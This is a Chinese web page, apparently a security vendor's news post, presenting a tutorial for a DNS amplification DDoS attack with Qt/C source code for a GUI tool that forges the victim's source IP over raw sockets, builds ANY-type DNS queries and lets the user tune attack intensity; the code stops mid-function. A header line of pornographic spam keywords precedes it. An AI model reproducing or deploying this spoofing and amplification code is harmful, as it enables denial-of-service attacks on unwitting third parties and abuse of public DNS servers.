国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認證域名注冊商,已經(jīng)
持續(xù)為500多萬個域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護等服務(wù)!
黑客教你如何用DNS放大DDoS分布拒絕服務(wù)攻擊
2022-05-21 20:31:38 【


DOS攻擊原理:發(fā)送大量的數(shù)據(jù)包消耗目標(biāo)主機資源,使其無法正常工作。

DNS放大攻擊的原理:偽造DNS數(shù)據(jù)包,向DNS服務(wù)器發(fā)送域名查詢報文了,而DNS服務(wù)器返回的應(yīng)答報文則會發(fā)送給被攻擊主機。放大體現(xiàn)在請求DNS回復(fù)的類型為ANY,攻擊者向服務(wù)器請求的包長度為69個字節(jié),而服務(wù)器向被攻擊主機回復(fù)的ANY類型DNS包長度為535字節(jié),大約放大了7倍。

本次實驗實現(xiàn)的是DOS+DNS放大攻擊,在傳輸層使用UDP協(xié)議,應(yīng)用層使用DNS協(xié)議,程序有界面,接受用戶輸入,用戶還能調(diào)節(jié)發(fā)包的速度改變攻擊強度。

2.程序框圖:


3.DOS+DNS簡易界面的設(shè)計


添加5個文本框,用來接受用戶輸入的被攻擊的ip,發(fā)送的端口,服務(wù)器ip,發(fā)送接口名稱,查詢的域名。

添加一個滑塊用來控制攻擊的強度。

添加兩個按鈕控制攻擊的開始和停止。

核心代碼是attack按鈕槽函數(shù)的實現(xiàn),接受輸入,并調(diào)用攻擊函數(shù)。

void Widget::on_attack_pushButton_clicked()

{

QByteArray dstipstr = ui->dst_ip_Edit->text().toLatin1();

QByteArray ifnamestr = ui->ifname_Edit->text().toLatin1();

QByteArray dnsipstr = ui->dns_Edit->text().toLatin1();

QByteArray domainstr = ui->Domain_Edit->text().toLatin1();

dosattack=

new DosAttack(dstipstr,ifnamestr,ui->port_spinBox->

value(),dnsipstr,ui->AttackLEVEL_Slider->value(),domainstr);

dosattack->start();

}

4.構(gòu)造發(fā)送DNS報文


因為我們要偽造源IP,發(fā)送DNS請求,所以我們的報文應(yīng)該從IP頭部開始構(gòu)造,一直到UDP報文的數(shù)據(jù)部分。這里分為兩個部分,IP頭部和UDP頭部作為一個部分,UDP的數(shù)據(jù)即DNS報文作為一個部分。

(1)IP偽首部+IP頭部+UDP頭部



UDP包在網(wǎng)絡(luò)傳輸?shù)臅r候要計算校驗和,需要用到IP偽首部,IP偽首部在網(wǎng)絡(luò)中不傳輸,只用作校驗和的計算。我們構(gòu)造兩個數(shù)據(jù)結(jié)構(gòu),udpbuf填充UDP頭部包括IP頭部、udpfhrd填充IP偽首部。核心代碼在sendudp函數(shù)里填充數(shù)據(jù),以及檢驗和checksum函數(shù)的實現(xiàn)。

//IP頭部+UDP頭部

struct udpbuf

{

struct ip iph;

struct udphdr udp;

};

//IP偽首部

struct udpfhrd

{

struct in_addr ip_src;

struct in_addr ip_dst;

char zero;

char protocal;

short len;

};

//檢驗和函數(shù)

unsigned short checksum(unsigned short * buffer, int size)

{

unsigned long cksum = 0;

while(size>1)

{

cksum += *buffer++;

size -=sizeof(unsigned short);

}

if (size)

{

cksum += *(unsigned char*)buffer;

}

cksum = (cksum>>16)+ (cksum&0xffff);

cksum += (cksum>>16);

return (unsigned short)(~cksum);

}

//udp發(fā)送函數(shù)

void sendudp(char *src_ip, char *dst_ip,int src_port,int dst_port, char * ifname,

char*data,int datalen)

{

int buflen = sizeof(udpbuf)+datalen;

char buf[buflen];

struct udpbuf *ubuf = (struct udpbuf *)buf;

struct sockaddr_ll toaddr;

struct in_addr targetIP,srcIP;

struct ifreq ifr;

int skfd;

if ((skfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

exit(1);

}

bzero(&toaddr, sizeof(toaddr));

bzero(&ifr, sizeof(ifr));

memcpy(ifr.ifr_name,ifname,strlen(ifname));

ioctl(skfd, SIOCGIFINDEX,&ifr);

toaddr.sll_ifindex = ifr.ifr_ifindex;

ubuf->iph.ip_v = IPVERSION;

ubuf->iph.ip_hl= sizeof(struct ip)>>2;

ubuf->iph.ip_tos = 0;

ubuf->iph.ip_len = htons(buflen);

ubuf->iph.ip_id = 0;

ubuf->iph.ip_off = 0;

ubuf->iph.ip_ttl = MAXTTL;

ubuf->iph.ip_p = IPPROTO_UDP;

ubuf->iph.ip_sum = 0;

inet_pton(AF_INET,dst_ip,&targetIP);

ubuf->iph.ip_dst = targetIP;

inet_pton(AF_INET,src_ip,&srcIP);

ubuf->iph.ip_src = srcIP;

ubuf->iph.ip_sum = checksum((unsigned short *)(&(ubuf->iph)),sizeof(struct ip));

ubuf->udp.source = htons(src_port);

ubuf->udp.dest = htons(dst_port);

ubuf->udp.len = htons(sizeof(struct udphdr) + datalen);

ubuf->udp.check = 0;

memcpy(buf + sizeof(struct udpbuf),data,datalen);

int csbuflen = sizeof(struct udpfhrd)+sizeof(struct udphdr)+(datalen % 2 == 0?datalen:datalen + 1);

char checksumbuf[csbuflen] ;

struct udpfhrd * fhrd = (struct udpfhrd *)checksumbuf;

fhrd->ip_dst = ubuf->iph.ip_dst;

fhrd->ip_src = ubuf->iph.ip_src;

fhrd->zero = 0;

fhrd->protocal = ubuf->iph.ip

_p;

fhrd->len = ubuf->udp.len;

memcpy((checksumbuf+sizeof(struct udpfhrd)),&(ubuf->udp),sizeof(struct udphdr)+datalen);

if(datalen % 2 != 0)

{ checksumbuf[csbuflen-1] = 0;}

ubuf->udp.check = checksum((unsigned short *)(checksumbuf),csbuflen);

toaddr.sll_family = AF_INET;

sendto(skfd, buf, buflen, 0, (struct sockaddr *)&toaddr, sizeof(toaddr));

close(skfd);

}

(2)DNS報文部分



同樣構(gòu)造一個數(shù)據(jù)結(jié)構(gòu) dnshdr來填充DNS報文,注意放大攻擊的請求類型是ANY。

這一部分的核心是在DNS發(fā)送函數(shù)SendDns填充數(shù)據(jù),以及查詢名的轉(zhuǎn)化,在DNS報文里查詢名的存儲格式是3www5baidu3com,用戶提交的數(shù)據(jù)格式是www.baidu.com。

//DNS前12字節(jié)

struct dnshdr

{

unsigned short id;

unsigned short bz;

unsigned short wtcount;

unsigned short zyCount;

unsigned short sqCount;

unsigned short ewCount;

};

//DNS可變部分

struct questtype

{

unsigned short dnsType;

unsigned short dnsClass;

};

//sendDns函數(shù),函數(shù)最后調(diào)用sendudp函數(shù),將數(shù)據(jù)整合到sendudp函數(shù)中。

void SendDns(char * ifname ,char * srcf_ip,unsigned short src_port, char * dns, QByteArray domain)

{

QList <QByteArray> domainlist= domain.split('.');

QByteArray domainName;

for (int i = 0; i<domainlist.length();i++)

{

domainName += domainlist.at(i).length();

domainName += domainlist.at(i);

}

domainName += '\0';

int bufflen = sizeof(dnshdr) + domainName.length() + sizeof( questtype);

char buf[bufflen];

struct dnshdr * dnsh;

struct questtype * qtype;

dnsh = (struct dnshdr*)buf;


】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇卡內(nèi)基梅隆大學(xué)軟件工程研究所的.. 下一篇Zyxel 防火墻命令注入漏洞

立足首都,輻射全球,防御吧專注云防御及云計算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財務(wù)
備案專員
緊急電話:18610088800